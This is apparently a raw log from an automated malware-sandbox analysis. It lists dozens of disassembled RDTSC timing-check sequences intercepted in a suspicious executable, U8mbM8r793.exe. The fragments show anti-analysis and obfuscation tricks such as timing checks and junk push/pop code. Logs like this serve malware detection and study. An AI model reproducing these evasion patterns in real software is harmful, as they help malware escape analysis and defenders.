Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11F9FF1 second address: 11F9FF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11F9FF5 second address: 11FA016 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007EFCC8E1B13Eh 0x0000000c jno 00007EFCC8E1B136h 0x00000012 pushad 0x00000013 popad 0x00000014 pop eax 0x00000015 push edi 0x00000016 pushad 0x00000017 push esi 0x00000018 pop esi 0x00000019 push eax 0x0000001a pop eax 0x0000001b popad 0x0000001c push ebx 0x0000001d pushad 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11FBF36 second address: 11FBF3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11FF27E second address: 11FF28F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8E1B13Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11FF28F second address: 11FF295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11FF295 second address: 11FF2D5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007EFCC8E1B13Eh 0x00000008 ja 00007EFCC8E1B148h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007EFCC8E1B144h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11FF2D5 second address: 11FF2DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11FF2DB second address: 11FF2E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11FEC2F second address: 11FEC46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007EFCC8D6A382h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11FEC46 second address: 11FEC5B instructions: 0x00000000 rdtsc 0x00000002 jns 00007EFCC8E1B138h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jg 00007EFCC8E1B13Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11FEF1E second address: 11FEF25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1205AA6 second address: 1205AAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12042C9 second address: 12042E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007EFCC8D6A376h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007EFCC8D6A380h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12042E8 second address: 12042EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12042EC second address: 12042F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12042F0 second address: 12042F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12042F6 second address: 12042FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12042FC second address: 1204302 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1204302 second address: 1204306 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1204306 second address: 1204313 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1204607 second address: 120464E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jng 00007EFCC8D6A376h 0x0000000c popad 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 pop eax 0x00000012 pushad 0x00000013 popad 0x00000014 jnl 00007EFCC8D6A376h 0x0000001a popad 0x0000001b jmp 00007EFCC8D6A381h 0x00000020 popad 0x00000021 push ebx 0x00000022 jmp 00007EFCC8D6A386h 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11BAF0F second address: 11BAF80 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8E1B13Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007EFCC8E1B138h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 sub dword ptr [ebp+124611B1h], esi 0x0000002c push 00000004h 0x0000002e push 00000000h 0x00000030 push ebp 0x00000031 call 00007EFCC8E1B138h 0x00000036 pop ebp 0x00000037 mov dword ptr [esp+04h], ebp 0x0000003b add dword ptr [esp+04h], 00000017h 0x00000043 inc ebp 0x00000044 push ebp 0x00000045 ret 0x00000046 pop ebp 0x00000047 ret 0x00000048 mov ecx, dword ptr [ebp+122D372Ah] 0x0000004e nop 0x0000004f ja 00007EFCC8E1B13Eh 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a pop eax 0x0000005b rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1208A80 second address: 1208A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1208A88 second address: 1208AB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFCC8E1B143h 0x00000009 pop edx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007EFCC8E1B141h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1208AB4 second address: 1208ABC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1208166 second address: 120816B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12082D2 second address: 12082D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1208441 second address: 1208447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1208447 second address: 120844C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1208743 second address: 1208747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1208747 second address: 120874B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 120874B second address: 1208773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFCC8E1B13Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007EFCC8E1B147h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1208773 second address: 1208778 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1208778 second address: 1208783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1208783 second address: 1208787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1208787 second address: 120878B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 120878B second address: 1208797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1208797 second address: 12087B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007EFCC8E1B144h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12087B4 second address: 12087B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12087B8 second address: 12087BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12087BC second address: 12087C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 120BC1E second address: 120BC2C instructions: 0x00000000 rdtsc 0x00000002 jl 00007EFCC8E1B136h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 120BC2C second address: 120BC30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 120BD96 second address: 120BD9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 120BD9E second address: 120BDA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 120BDA4 second address: 120BDD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007EFCC8E1B145h 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d jnp 00007EFCC8E1B136h 0x00000013 pop esi 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 jng 00007EFCC8E1B136h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 120BDD4 second address: 120BDD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 120BDD8 second address: 120BE19 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007EFCC8E1B136h 0x00000008 ja 00007EFCC8E1B136h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007EFCC8E1B149h 0x0000001b jmp 00007EFCC8E1B142h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 120C398 second address: 120C39E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1215932 second address: 1215936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1215936 second address: 121593A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121593A second address: 121594B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jo 00007EFCC8E1B136h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121594B second address: 1215974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007EFCC8D6A376h 0x0000000a popad 0x0000000b pushad 0x0000000c jnl 00007EFCC8D6A376h 0x00000012 jmp 00007EFCC8D6A385h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12138AF second address: 12138B9 instructions: 0x00000000 rdtsc 0x00000002 js 00007EFCC8E1B136h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12138B9 second address: 12138D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8D6A37Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007EFCC8D6A38Ah 0x0000000f pushad 0x00000010 je 00007EFCC8D6A376h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12139F5 second address: 1213A1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 jmp 00007EFCC8E1B13Dh 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 jnl 00007EFCC8E1B136h 0x00000017 push edx 0x00000018 pop edx 0x00000019 popad 0x0000001a popad 0x0000001b pushad 0x0000001c push ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1213A1C second address: 1213A26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1213B56 second address: 1213B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 jmp 00007EFCC8E1B147h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12141C7 second address: 12141CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12141CC second address: 12141D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12141D2 second address: 12141D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12141D6 second address: 12141EC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007EFCC8E1B13Bh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12141EC second address: 1214204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007EFCC8D6A37Ah 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1214204 second address: 1214209 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1214209 second address: 1214213 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007EFCC8D6A376h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12144FE second address: 1214502 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12147B9 second address: 12147BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12147BE second address: 12147C3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12147C3 second address: 12147D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 12147D3 second address: 12147D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1214A9F second address: 1214AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007EFCC8D6A37Ah 0x0000000f push edx 0x00000010 jmp 00007EFCC8D6A37Dh 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1215085 second address: 1215089 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1215089 second address: 1215095 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1215095 second address: 121509B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121509B second address: 12150B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 jmp 00007EFCC8D6A37Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1215337 second address: 121533B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121563A second address: 121565E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8D6A388h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121565E second address: 1215668 instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFCC8E1B136h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1215668 second address: 121566E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121566E second address: 1215672 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 117837A second address: 117837E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 117837E second address: 11783CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8E1B148h 0x00000007 pushad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pushad 0x0000000b popad 0x0000000c jo 00007EFCC8E1B136h 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 jg 00007EFCC8E1B136h 0x0000001e pop eax 0x0000001f push esi 0x00000020 jmp 00007EFCC8E1B148h 0x00000025 pushad 0x00000026 popad 0x00000027 pop esi 0x00000028 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11783CC second address: 11783D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11783D2 second address: 11783D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121B78E second address: 121B7A7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007EFCC8D6A37Dh 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007EFCC8D6A376h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121F6DE second address: 121F6E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121F6E3 second address: 121F707 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007EFCC8D6A37Eh 0x00000014 pushad 0x00000015 popad 0x00000016 jno 00007EFCC8D6A376h 0x0000001c jc 00007EFCC8D6A378h 0x00000022 push eax 0x00000023 pop eax 0x00000024 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121E804 second address: 121E808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121E808 second address: 121E80C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121EAD0 second address: 121EB11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8E1B13Fh 0x00000007 jmp 00007EFCC8E1B145h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ecx 0x0000000f push ebx 0x00000010 pushad 0x00000011 jmp 00007EFCC8E1B13Eh 0x00000016 jg 00007EFCC8E1B136h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121EC39 second address: 121EC4F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007EFCC8D6A382h 0x0000000e jc 00007EFCC8D6A376h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 121EC4F second address: 121EC5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007EFCC8E1B13Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
